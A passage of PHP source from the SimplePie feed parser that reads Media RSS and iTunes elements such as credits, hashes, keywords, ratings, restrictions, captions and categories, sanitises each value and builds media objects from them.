					{
						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$credit_scheme = 'urn:ebu';
					}
					if (isset($credit['data']))
					{
						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
				}
			}
			elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
			{
				foreach ($credits as $credit)
				{
					$credit_role = null;
					$credit_scheme = null;
					$credit_name = null;
					if (isset($credit['attribs']['']['role']))
					{
						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($credit['attribs']['']['scheme']))
					{
						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$credit_scheme = 'urn:ebu';
					}
					if (isset($credit['data']))
					{
						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
				}
			}
			if (is_array($credits_parent))
			{
				$credits_parent = array_values(array_unique($credits_parent));
			}

			// DESCRIPTION
			if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
			{
				if (isset($description_parent[0]['data']))
				{
					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
			}
			elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
			{
				if (isset($description_parent[0]['data']))
				{
					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
			}

			// DURATION
			if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration'))
			{
				$seconds = null;
				$minutes = null;
				$hours = null;
				if (isset($duration_parent[0]['data']))
				{
					$temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					if (sizeof($temp) > 0)
					{
						$seconds = (int) array_pop($temp);
					}
					if (sizeof($temp) > 0)
					{
						$minutes = (int) array_pop($temp);
						$seconds += $minutes * 60;
					}
					if (sizeof($temp) > 0)
					{
						$hours = (int) array_pop($temp);
						$seconds += $hours * 3600;
					}
					unset($temp);
					$duration_parent = $seconds;
				}
			}

			// HASHES
			if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
			{
				foreach ($hashes_iterator as $hash)
				{
					$value = null;
					$algo = null;
					if (isset($hash['data']))
					{
						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($hash['attribs']['']['algo']))
					{
						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$algo = 'md5';
					}
					$hashes_parent[] = $algo.':'.$value;
				}
			}
			elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
			{
				foreach ($hashes_iterator as $hash)
				{
					$value = null;
					$algo = null;
					if (isset($hash['data']))
					{
						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($hash['attribs']['']['algo']))
					{
						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$algo = 'md5';
					}
					$hashes_parent[] = $algo.':'.$value;
				}
			}
			if (is_array($hashes_parent))
			{
				$hashes_parent = array_values(array_unique($hashes_parent));
			}

			// KEYWORDS
			if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
			{
				if (isset($keywords[0]['data']))
				{
					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					foreach ($temp as $word)
					{
						$keywords_parent[] = trim($word);
					}
				}
				unset($temp);
			}
			elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
			{
				if (isset($keywords[0]['data']))
				{
					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					foreach ($temp as $word)
					{
						$keywords_parent[] = trim($word);
					}
				}
				unset($temp);
			}
			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
			{
				if (isset($keywords[0]['data']))
				{
					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					foreach ($temp as $word)
					{
						$keywords_parent[] = trim($word);
					}
				}
				unset($temp);
			}
			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
			{
				if (isset($keywords[0]['data']))
				{
					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					foreach ($temp as $word)
					{
						$keywords_parent[] = trim($word);
					}
				}
				unset($temp);
			}
			if (is_array($keywords_parent))
			{
				$keywords_parent = array_values(array_unique($keywords_parent));
			}

			// PLAYER
			if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
			{
				if (isset($player_parent[0]['attribs']['']['url']))
				{
					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
				}
			}
			elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
			{
				if (isset($player_parent[0]['attribs']['']['url']))
				{
					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
				}
			}

			// RATINGS
			if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
			{
				foreach ($ratings as $rating)
				{
					$rating_scheme = null;
					$rating_value = null;
					if (isset($rating['attribs']['']['scheme']))
					{
						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$rating_scheme = 'urn:simple';
					}
					if (isset($rating['data']))
					{
						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
				}
			}
			elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
			{
				foreach ($ratings as $rating)
				{
					$rating_scheme = 'urn:itunes';
					$rating_value = null;
					if (isset($rating['data']))
					{
						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
				}
			}
			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
			{
				foreach ($ratings as $rating)
				{
					$rating_scheme = null;
					$rating_value = null;
					if (isset($rating['attribs']['']['scheme']))
					{
						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$rating_scheme = 'urn:simple';
					}
					if (isset($rating['data']))
					{
						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
				}
			}
			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
			{
				foreach ($ratings as $rating)
				{
					$rating_scheme = 'urn:itunes';
					$rating_value = null;
					if (isset($rating['data']))
					{
						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
				}
			}
			if (is_array($ratings_parent))
			{
				$ratings_parent = array_values(array_unique($ratings_parent));
			}

			// RESTRICTIONS
			if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
			{
				foreach ($restrictions as $restriction)
				{
					$restriction_relationship = null;
					$restriction_type = null;
					$restriction_value = null;
					if (isset($restriction['attribs']['']['relationship']))
					{
						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($restriction['attribs']['']['type']))
					{
						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($restriction['data']))
					{
						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
				}
			}
			elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
			{
				foreach ($restrictions as $restriction)
				{
					$restriction_relationship = 'allow';
					$restriction_type = null;
					$restriction_value = 'itunes';
					if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes')
					{
						$restriction_relationship = 'deny';
					}
					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
				}
			}
			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
			{
				foreach ($restrictions as $restriction)
				{
					$restriction_relationship = null;
					$restriction_type = null;
					$restriction_value = null;
					if (isset($restriction['attribs']['']['relationship']))
					{
						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($restriction['attribs']['']['type']))
					{
						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($restriction['data']))
					{
						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
				}
			}
			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
			{
				foreach ($restrictions as $restriction)
				{
					$restriction_relationship = 'allow';
					$restriction_type = null;
					$restriction_value = 'itunes';
					if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes')
					{
						$restriction_relationship = 'deny';
					}
					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
				}
			}
			if (is_array($restrictions_parent))
			{
				$restrictions_parent = array_values(array_unique($restrictions_parent));
			}
			else
			{
				$restrictions_parent = array(new SimplePie_Restriction('allow', null, 'default'));
			}

			// THUMBNAILS
			if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
			{
				foreach ($thumbnails as $thumbnail)
				{
					if (isset($thumbnail['attribs']['']['url']))
					{
						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
					}
				}
			}
			elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
			{
				foreach ($thumbnails as $thumbnail)
				{
					if (isset($thumbnail['attribs']['']['url']))
					{
						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
					}
				}
			}

			// TITLES
			if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
			{
				if (isset($title_parent[0]['data']))
				{
					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
			}
			elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
			{
				if (isset($title_parent[0]['data']))
				{
					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
			}

			// Clear the memory
			unset($parent);

			// Attributes
			$bitrate = null;
			$channels = null;
			$duration = null;
			$expression = null;
			$framerate = null;
			$height = null;
			$javascript = null;
			$lang = null;
			$length = null;
			$medium = null;
			$samplingrate = null;
			$type = null;
			$url = null;
			$width = null;

			// Elements
			$captions = null;
			$categories = null;
			$copyrights = null;
			$credits = null;
			$description = null;
			$hashes = null;
			$keywords = null;
			$player = null;
			$ratings = null;
			$restrictions = null;
			$thumbnails = null;
			$title = null;

			// If we have media:group tags, loop through them.
			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group)
			{
				if(isset($group['child']) && isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
				{
					// If we have media:content tags, loop through them.
					foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
					{
						if (isset($content['attribs']['']['url']))
						{
							// Attributes
							$bitrate = null;
							$channels = null;
							$duration = null;
							$expression = null;
							$framerate = null;
							$height = null;
							$javascript = null;
							$lang = null;
							$length = null;
							$medium = null;
							$samplingrate = null;
							$type = null;
							$url = null;
							$width = null;

							// Elements
							$captions = null;
							$categories = null;
							$copyrights = null;
							$credits = null;
							$description = null;
							$hashes = null;
							$keywords = null;
							$player = null;
							$ratings = null;
							$restrictions = null;
							$thumbnails = null;
							$title = null;

							// Start checking the attributes of media:content
							if (isset($content['attribs']['']['bitrate']))
							{
								$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['channels']))
							{
								$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['duration']))
							{
								$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							else
							{
								$duration = $duration_parent;
							}
							if (isset($content['attribs']['']['expression']))
							{
								$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['framerate']))
							{
								$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['height']))
							{
								$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['lang']))
							{
								$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['fileSize']))
							{
								$length = intval($content['attribs']['']['fileSize']);
							}
							if (isset($content['attribs']['']['medium']))
							{
								$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['samplingrate']))
							{
								$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['type']))
							{
								$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['width']))
							{
								$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);

							// Checking the other optional media: elements. Priority: media:content, media:group, item, channel

							// CAPTIONS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
								{
									$caption_type = null;
									$caption_lang = null;
									$caption_startTime = null;
									$caption_endTime = null;
									$caption_text = null;
									if (isset($caption['attribs']['']['type']))
									{
										$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['lang']))
									{
										$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['start']))
									{
										$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['end']))
									{
										$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['data']))
									{
										$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
								}
								if (is_array($captions))
								{
									$captions = array_values(array_unique($captions));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
								{
									$caption_type = null;
									$caption_lang = null;
									$caption_startTime = null;
									$caption_endTime = null;
									$caption_text = null;
									if (isset($caption['attribs']['']['type']))
									{
										$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['lang']))
									{
										$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['start']))
									{
										$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['end']))
									{
										$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['data']))
									{
										$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
								}
								if (is_array($captions))
								{
									$captions = array_values(array_unique($captions));
								}
							}
							else
							{
								$captions = $captions_parent;
							}

							// CATEGORIES
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
							{
								foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
								{
									$term = null;
									$scheme = null;
									$label = null;
									if (isset($category['data']))
									{
										$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($category['attribs']['']['scheme']))
									{
										$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$scheme = 'http://search.yahoo.com/mrss/category_schema';
									}
									if (isset($category['attribs']['']['label']))
									{
										$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
								}
							}
							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
							{
								foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
								{
									$term = null;
									$scheme = null;
									$label = null;
									if (isset($category['data']))
									{
										$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($category['attribs']['']['scheme']))
									{
										$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$scheme = 'http://search.yahoo.com/mrss/category_schema';
									}
									if (isset($category['attribs']['']['label']))
									{
										$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
								}
							}
							if (is_array($categories) && is_array($categories_parent))
							{
								$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
							}
							elseif (is_array($categories))
							{
								$categories = array_values(array_unique($categories));
							}
							elseif (is_array($categories_parent))
							{
								$categories = array_values(array_unique($categories_parent));
							}

							// COPYRIGHTS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
							{
								$copyright_url = null;
								$copyright_label = null;
								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
								{
									$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
								{
									$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
							{
								$copyright_url = null;
								$copyright_label = null;
								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
								{
									$copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
								{
									$copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
							}
							else
							{
								$copyrights = $copyrights_parent;
							}

							// CREDITS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
								{
									$credit_role = null;
									$credit_scheme = null;
									$credit_name = null;
									if (isset($credit['attribs']['']['role']))
									{
										$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($credit['attribs']['']['scheme']))
									{
										$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$credit_scheme = 'urn:ebu';
									}
									if (isset($credit['data']))
									{
										$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
								}
								if (is_array($credits))
								{
									$credits = array_values(array_unique($credits));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
								{
									$credit_role = null;
									$credit_scheme = null;
									$credit_name = null;
									if (isset($credit['attribs']['']['role']))
									{
										$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($credit['attribs']['']['scheme']))
									{
										$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$credit_scheme = 'urn:ebu';
									}
									if (isset($credit['data']))
									{
										$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
								}
								if (is_array($credits))
								{
									$credits = array_values(array_unique($credits));
								}
							}
							else
							{
								$credits = $credits_parent;
							}

							// DESCRIPTION
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
							{
								$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
							{
								$description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							else
							{
								$description = $description_parent;
							}

							// HASHES
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
								{
									$value = null;
									$algo = null;
									if (isset($hash['data']))
									{
										$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($hash['attribs']['']['algo']))
									{
										$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$algo = 'md5';
									}
									$hashes[] = $algo.':'.$value;
								}
								if (is_array($hashes))
								{
									$hashes = array_values(array_unique($hashes));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
								{
									$value = null;
									$algo = null;
									if (isset($hash['data']))
									{
										$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($hash['attribs']['']['algo']))
									{
										$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$algo = 'md5';
									}
									$hashes[] = $algo.':'.$value;
								}
								if (is_array($hashes))
								{
									$hashes = array_values(array_unique($hashes));
								}
							}
							else
							{
								$hashes = $hashes_parent;
							}

							// KEYWORDS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
							{
								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
								{
									$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
									foreach ($temp as $word)
									{
										$keywords[] = trim($word);
									}
									unset($temp);
								}
								if (is_array($keywords))
								{
									$keywords = array_values(array_unique($keywords));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
							{
								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
								{
									$temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
									foreach ($temp as $word)
									{
										$keywords[] = trim($word);
									}
									unset($temp);
								}
								if (is_array($keywords))
								{
									$keywords = array_values(array_unique($keywords));
								}
							}
							else
							{
								$keywords = $keywords_parent;
							}

							// PLAYER
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
							{
								$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
							{
								$player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
							}
							else
							{
								$player = $player_parent;
							}

							// RATINGS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
								{
									$rating_scheme = null;
									$rating_value = null;
									if (isset($rating['attribs']['']['scheme']))
									{
										$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$rating_scheme = 'urn:simple';
									}
									if (isset($rating['data']))
									{
										$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
								}
								if (is_array($ratings))
								{
									$ratings = array_values(array_unique($ratings));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
								{
									$rating_scheme = null;
									$rating_value = null;
									if (isset($rating['attribs']['']['scheme']))
									{
										$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$rating_scheme = 'urn:simple';
									}
									if (isset($rating['data']))
									{
										$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
								}
								if (is_array($ratings))
								{
									$ratings = array_values(array_unique($ratings));
								}
							}
							else
							{
								$ratings = $ratings_parent;
							}

							// RESTRICTIONS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
								{
									$restriction_relationship = null;
									$restriction_type = null;
									$restriction_value = null;
									if (isset($restriction['attribs']['']['relationship']))
									{
										$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($restriction['attribs']['']['type']))
									{
										$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($restriction['data']))
									{
										$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
